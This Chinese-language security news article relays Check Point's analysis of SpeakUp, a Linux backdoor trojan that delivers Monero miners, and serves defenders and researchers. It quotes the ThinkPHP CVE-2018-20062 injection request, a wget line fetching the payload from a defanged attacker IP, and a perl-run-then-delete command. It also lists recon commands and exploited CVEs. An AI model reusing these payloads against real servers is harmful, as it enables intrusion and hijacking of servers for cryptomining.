攻防最前線:後門木馬SpeakUp瞄準Linux伺服器
網路安全公司Check Point的研究人員在最新發布的一份分析報告中指出,他們於近日發現一場利用試圖Linux伺服器漏洞來植入一種新型後門木馬的惡意攻擊活動。值得注意的是,這種新型木馬幾乎繞過了VirusTotal(一個提供免費的可疑檔案分析服務的網站)上所有防毒引擎的檢測。
根據其中一臺命令和控制(C2)伺服器的名稱,Check Point的研究人員將這種新型木馬命名為“SpeakUp”。據稱,這種新型木馬能夠利用6個不同的Linux釋出版中的已知漏洞。其目前的主要攻擊目標是東亞和拉美地區的Linux伺服器,包括託管在亞馬遜ASW雲服務上的伺服器(感染情況見下圖)。
Check Point的分析報告指出,SpeakUp能夠利用遠端程式碼執行漏洞在受感染伺服器所處的內網傳播,進而感染更多的伺服器。不僅如此,SpeakUp的後門功能還使得它能夠感染Mac裝置。
感染過程
根據Check Point分析報告的描述,SpeakUp的感染過程從利用ThinkPHP(輕量級PHP開發框架)的一個漏洞開始,以及使用命令注入技術上傳一個用來植入並執行pPerl(一種功能豐富的計算機程式語言)後門的PHP shell指令碼。
漏洞利用通過三個步驟完成:
- 步驟1:利用CVE-2018-20062來上傳PHP shell指令碼
使用GET請求(如下所示),通過ThinkPHP遠端程式碼執行漏洞CVE-2018-20062將shell指令碼傳送到目標伺服器:
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>index.php
這個shell指令碼接下來會通過query中的“module”引數來執行命令。
- 步驟2:植入後門
傳送另一個HTTP請求(如下所示)到目標伺服器:
/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc
實際上,這是一個注入過程,目的是植入ibus payload並將其儲存到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc
- 步驟2:啟動後門
使用如下HTTP請求來執行後門:
/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc
執行perl後門,休眠2秒鐘,並通過刪除該檔案來清除感染痕跡。
後門分析
據稱,Check Point分析報告中展示的SpeakUp樣本(ibus)是於今年1月14日在一臺位於我國的伺服器上發現的。調查發現,該樣本實際上在1月9日就已經被上傳到了VirusTotal(一個提供免費的可疑檔案分析服務的網站)。VirusTotal的檢測結果顯示,沒有任何一款安全產品將它檢測為惡意。
為了逃避安全檢測,SpeakUp的程式碼採用了base64加鹽演算法加密。不僅如此,C2通訊也是採用了相同的方式加密。這也是為什麼VirusTotal上的防毒引擎無法將其檢測為惡意的原因所在。
受感染伺服器註冊
分析報告指出,SpeakUp使用的是HTTP上的POST和GET請求來與其C2伺服器進行通訊。其中,C2伺服器是一個被黑掉的網站。
第一個post請求傳送的是受感染伺服器ID和其他介紹性的資訊,比如已安裝指令碼的當前版本等。
第一個C2響應是“needrgr”,表示受感染伺服器之前未在C2伺服器上註冊,需要註冊。
之後,SpeakUp會通過執行如下Linux命令來POST受感染伺服器的完整資訊:
- Uname (-r, -v, -m, -n,-a, -s)
- Whoami
- Ifconfig –a
- Arp –a
- cat /proc/cpuinfo | grep -c “cpu family” 2>&1
- who –b
SpeakUp的主要功能
在註冊過程完成之後,SpeakUp會繼續與C2伺服器進行通訊。
C2伺服器返回的命令如下:
- “newtask”-在本地計算機上執行任意程式碼,從遠端伺服器下載和執行檔案,殺死或解除安裝程式,傳送更新的指紋資料。
- “notask”-休眠3秒,並請求其他命令。
- “newerconfig”-更新下載的礦工配置檔案。
需要說明的是,SpeakUp的永續性是通過cron(計劃任務)和內部mutex(互斥鎖)來實現的。
感染後的通訊
一旦受感染伺服器註冊完成,C2伺服器就會發送新的任務——不同的C2伺服器會命名受感染伺服器來下載和執行不同的檔案。
有一個需要注意的點是,SpeakUp使用了User-Agent使用者代理。具體來說,SpeakUp定義了三個使用者代理,而受感染伺服器在與C2伺服器進行通訊時必須使用這些代理。其中兩個代理是MacOS X User-Agent,第三個是經過雜湊處理的字串:
- Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD
- Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
- E9BC3BD76216AFA560BFB5ACAF5731A3
目前,SpeakUp主要服務於XMRig礦工,為其提供“肉雞(受感染伺服器)”。根據XMRHunter網站的查詢結果顯示,攻擊者的錢包目前擁有約107枚門羅幣。
自我傳播能力
攻擊者還為SpeakUp配備了一個“i”模組,它實際上是一個python指令碼,使得SpeakUp能夠掃描和感染位於受感染伺服器所處內網和外網的其他更多的Linux伺服器。其主要功能有:
- 使用預定義的使用者名稱和密碼來暴力破解嘗試登陸管理面板;
- 掃描受感染伺服器的網路環境,檢測共享相同內部和外部子網掩碼的伺服器上的特定埠的可用性;
- 嘗試利用目標伺服器上的遠端程式碼執行漏洞,具體如下:
a) CVE-2012-0874:JBoss Enterprise Application Platform安全限制繞過漏洞;
b) CVE-2010-1871:JBoss Seam Framework遠端程式碼執行漏洞;
c) JBoss AS 3/4/5/6:遠端程式碼執行漏洞;
d) CVE-2017-10271:Oracle WebLogic wls-wsat Component Deserialization遠端程式碼執行漏洞;
e) CVE-2018-2894:Oracle Fusion Middleware的Oracle WebLogic伺服器漏洞;
f) Hadoop YARN ResourceManager:命令執行漏洞;
g) CVE-2016-3088:Apache ActiveMQ檔案伺服器檔案上傳遠端程式碼執行漏洞。
以上任何一個漏洞被成功利用,都會導致伺服器感染SpeakUp木馬。
宣告:本文來自黑客視界,版權歸作者所有。文章內容僅代表作者獨立觀點,不代表安全內參立場,轉載目的在於傳遞更多資訊。如需轉載,請聯絡原作者獲取授權。